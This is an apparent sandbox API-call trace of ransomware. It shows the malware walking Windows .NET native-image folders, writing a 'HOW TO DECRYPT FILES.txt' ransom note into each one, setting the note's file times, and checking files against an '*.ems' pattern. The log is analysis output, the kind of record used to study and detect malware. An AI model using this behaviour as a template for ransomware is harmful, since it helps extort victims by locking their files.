| out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb06ec470, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb06ec470, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb06ec470, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0123.362] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.362] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb06ec470, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb06ec470, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb06ec470, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.363] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.363] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.363] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb06a01b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb06a01b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb06ec470, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x2a9c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Mobile.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0123.363] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.363] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Mobile.ni.dll") returned -1 [0123.363] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Mobile.ni.dll") returned -1 [0123.363] lstrcmpiA (lpString1="", lpString2="System.Web.Mobile.ni.dll") returned -1 [0123.363] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\*.*") returned="*.*" [0123.363] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\" [0123.363] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\") returned="" [0123.363] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\HOW TO DECRYPT FILES.txt" [0123.363] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.mobile\\b1c3497a70080378a9e9cde62b3420cd\\how to decrypt files.txt")) returned 0xffffffff [0123.363] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.mobile\\b1c3497a70080378a9e9cde62b3420cd\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0123.367] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0123.367] CloseHandle (hObject=0x90) returned 1 [0123.367] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\", lpString2="System.Web.Mobile.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\System.Web.Mobile.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\System.Web.Mobile.ni.dll" [0123.368] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\System.Web.Mobile.ni.dll", pszSpec="*.ems") returned 0 [0123.368] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb06ec470, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb06ec470, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb06ec470, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x77c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Mobile.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0123.368] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.368] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Mobile.ni.dll.aux") returned -1 [0123.368] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Mobile.ni.dll.aux") returned -1 [0123.368] lstrcmpiA (lpString1="", lpString2="System.Web.Mobile.ni.dll.aux") returned -1 [0123.368] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\System.Web.Mobile.ni.dll") returned="System.Web.Mobile.ni.dll" [0123.368] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\" [0123.368] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\") returned="" [0123.368] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\HOW TO DECRYPT FILES.txt" [0123.368] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.mobile\\b1c3497a70080378a9e9cde62b3420cd\\how to decrypt files.txt")) returned 0x20 [0123.368] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\", lpString2="System.Web.Mobile.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\System.Web.Mobile.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\System.Web.Mobile.ni.dll.aux" [0123.368] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Mobile\\b1c3497a70080378a9e9cde62b3420cd\\System.Web.Mobile.ni.dll.aux", pszSpec="*.ems") returned 0 [0123.369] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb06ec470, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb06ec470, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb06ec470, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x77c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Mobile.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0123.369] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0123.369] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb06ec470, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb06ec470, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb06ec470, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b1c3497a70080378a9e9cde62b3420cd", cAlternateFileName="B1C349~1")) returned 0 [0123.369] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0123.369] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb08b54f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb08b54f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb08b54f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.Routing", cAlternateFileName="SYSTEM~1.ROU")) returned 1 [0123.369] lstrcmpA (lpString1=".", lpString2="System.Web.Routing") returned -1 [0123.369] lstrcmpA (lpString1="..", lpString2="System.Web.Routing") returned -1 [0123.369] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0123.369] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Web.Routing" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing" [0123.369] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb08b54f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb08b54f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb08b54f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0123.370] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.370] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb08b54f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb08b54f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb08b54f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.370] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.370] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.370] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb08b54f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb08b54f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb08b54f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="46411ac9eea46e3d2385e7cd2da86632", cAlternateFileName="46411A~1")) returned 1 [0123.370] lstrcmpA (lpString1=".", lpString2="46411ac9eea46e3d2385e7cd2da86632") returned -1 [0123.370] lstrcmpA (lpString1="..", lpString2="46411ac9eea46e3d2385e7cd2da86632") returned -1 [0123.370] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\*.*") returned="*.*" [0123.370] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\", lpString2="46411ac9eea46e3d2385e7cd2da86632" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632" [0123.370] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb08b54f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb08b54f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb08b54f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0123.372] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.372] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb08b54f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb08b54f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb08b54f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.372] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.372] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.372] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b54f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb08b54f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb08b54f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Routing.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0123.372] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.372] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Routing.ni.dll") returned -1 [0123.372] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Routing.ni.dll") returned -1 [0123.372] lstrcmpiA (lpString1="", lpString2="System.Web.Routing.ni.dll") returned -1 [0123.372] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\*.*") returned="*.*" [0123.372] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\" [0123.372] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\") returned="" [0123.372] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\HOW TO DECRYPT FILES.txt" [0123.372] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.routing\\46411ac9eea46e3d2385e7cd2da86632\\how to decrypt files.txt")) returned 0xffffffff [0123.372] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.routing\\46411ac9eea46e3d2385e7cd2da86632\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0123.377] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0123.377] CloseHandle (hObject=0x90) returned 1 [0123.377] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\", lpString2="System.Web.Routing.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\System.Web.Routing.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\System.Web.Routing.ni.dll" [0123.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\System.Web.Routing.ni.dll", pszSpec="*.ems") returned 0 [0123.377] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b54f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb08b54f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb08b54f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Routing.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0123.377] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.377] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Routing.ni.dll.aux") returned -1 [0123.377] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Routing.ni.dll.aux") returned -1 [0123.377] lstrcmpiA (lpString1="", lpString2="System.Web.Routing.ni.dll.aux") returned -1 [0123.377] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\System.Web.Routing.ni.dll") returned="System.Web.Routing.ni.dll" [0123.377] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\" [0123.378] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\") returned="" [0123.378] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\HOW TO DECRYPT FILES.txt" [0123.378] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.routing\\46411ac9eea46e3d2385e7cd2da86632\\how to decrypt files.txt")) returned 0x20 [0123.378] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\", lpString2="System.Web.Routing.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\System.Web.Routing.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\System.Web.Routing.ni.dll.aux" [0123.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Routing\\46411ac9eea46e3d2385e7cd2da86632\\System.Web.Routing.ni.dll.aux", pszSpec="*.ems") returned 0 [0123.378] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b54f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb08b54f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb08b54f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Routing.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0123.378] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0123.378] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb08b54f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb08b54f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb08b54f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="46411ac9eea46e3d2385e7cd2da86632", cAlternateFileName="46411A~1")) returned 0 [0123.378] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0123.379] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8da5cc90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8da5cc90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8da5cc90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.Services", cAlternateFileName="SYSTEM~3.SER")) returned 1 [0123.379] lstrcmpA (lpString1=".", lpString2="System.Web.Services") returned -1 [0123.379] lstrcmpA (lpString1="..", lpString2="System.Web.Services") returned -1 [0123.379] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0123.379] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Web.Services" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services" [0123.379] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8da5cc90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8da5cc90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8da5cc90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, 